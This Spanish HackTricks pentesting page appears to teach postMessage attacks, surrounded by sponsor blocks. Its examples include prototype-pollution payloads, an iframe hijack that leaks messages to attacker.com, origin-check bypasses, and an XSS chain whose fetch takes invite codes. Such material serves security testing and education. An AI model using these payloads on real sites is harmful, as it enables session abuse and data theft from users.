hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

259 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilidades de PostMessage
## Vulnerabilidades de PostMessage
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %}
---
## Enviar **PostMessage**
**PostMessage** utiliza la siguiente función para enviar un mensaje:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Ten en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
En el **segundo escenario**, el **mensaje solo puede ser enviado a ese dominio** (incluso si el origen del objeto ventana es diferente).\
Si se utiliza el **comodín**, los **mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto ventana.
### Atacando iframe y comodín en **targetOrigin**
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) si encuentras una página que puede ser **incluirse en un iframe** (sin protección de `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\
Ten en cuenta que si la página puede ser incluida en un iframe pero el **targetOrigin** está **configurado con una URL y no con un comodín**, este **truco no funcionará**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## Explotación de addEventListener
**`addEventListener`** es la función utilizada por JS para declarar la función que está **esperando `postMessages`**.\
Se utilizará un código similar al siguiente:
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
### Enumeración
Para **encontrar escuchas de eventos** en la página actual puedes:
* **Buscar** en el código JS por `window.addEventListener` y `$(window).on` (_versión JQuery_)
* **Ejecutar** en la consola de herramientas para desarrolladores: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1).png>)
* **Ir a** _Elementos --> Escuchas de eventos_ en las herramientas para desarrolladores del navegador
![](<../../.gitbook/assets/image (393).png>)
* Utilizar una **extensión para navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Estas extensiones para navegadores **interceptarán todos los mensajes** y te los mostrarán.
### Saltos de verificación de origen
* El atributo **`event.isTrusted`** se considera seguro ya que devuelve `True` solo para eventos generados por acciones genuinas del usuario. Aunque es desafiante de evadir si se implementa correctamente, su importancia en las verificaciones de seguridad es notable.
* El uso de **`indexOf()`** para la validación de origen en eventos de PostMessage puede ser susceptible a evasiones. Un ejemplo que ilustra esta vulnerabilidad es:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
* El método **`search()`** de `String.prototype.search()` está destinado para expresiones regulares, no para cadenas. Pasar cualquier cosa que no sea una expresión regular conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como comodín, permitiendo evadir la validación con dominios especialmente diseñados. Por ejemplo:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
* La función **`match()`**, similar a `search()`, procesa regex. Si el regex está estructurado incorrectamente, podría ser propenso a evasiones.
* La función **`escapeHtml`** está destinada a sanear las entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
* Fallo esperado:
```javascript
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
* Evasión del escape:
```javascript
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotable debido a su propiedad de solo lectura `name`. Esta propiedad, al ser utilizada en plantillas, no es saneada por la función `escapeHtml`, lo que conlleva riesgos de seguridad potenciales.
* La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de misma procedencia dentro del mismo dominio principal.
### Bypass de e.origin == window.origin
Al incrustar una página web dentro de un **iframe con sandbox** utilizando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos de sandbox** y sus implicaciones en seguridad y funcionalidad.
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde el iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece en `null`, alineándose con el origen del iframe.
Consecuentemente, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, tanto el envío como la recepción tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** se evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen `null`.
Para más información **lee**:
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### Evasión de e.source
Es posible verificar si el mensaje proviene de la misma ventana en la que el script está escuchando (especialmente interesante para **Scripts de Contenido de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
return;
}
```
Puedes forzar que **`e.source`** de un mensaje sea nulo creando un **iframe** que **envíe** el **postMessage** y sea **eliminado inmediatamente**.
Para más información **lee:**
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### Bypass de encabezado X-Frame
Para realizar estos ataques idealmente podrás **colocar la página web víctima** dentro de un `iframe`. Pero algunos encabezados como `X-Frame-Header` pueden **prevenir** ese **comportamiento**.\
En esos escenarios aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña en la aplicación web vulnerable y comunicarte con ella:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Robo de mensajes enviados al hijo bloqueando la página principal
En la siguiente página puedes ver cómo podrías robar datos **sensibles de postmessage** enviados a un **iframe secundario** al **bloquear** la **página principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Robo de mensajes modificando la ubicación del iframe
Si puedes insertar un iframe en una página web sin el encabezado X-Frame que contiene otro iframe, puedes **cambiar la ubicación de ese iframe secundario**, por lo que si está recibiendo un **postmessage** enviado usando un **comodín**, un atacante podría **cambiar** el **origen** de ese iframe a una página **controlada** por él y **robar** el mensaje:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage a la Polución de Prototipos y/o XSS
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **insertar un iframe** en la **página** y **explotar** la **polución de prototipos/XSS** enviando el exploit a través de `postMessage`.
Un par de **XSS muy bien explicados a través de `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Ejemplo de un exploit para abusar de la **Polución de Prototipos y luego XSS** a través de un `postMessage` a un `iframe`:
```html
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
Para **más información**:
* Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/)
* Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/)
* Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## Referencias
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Para practicar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>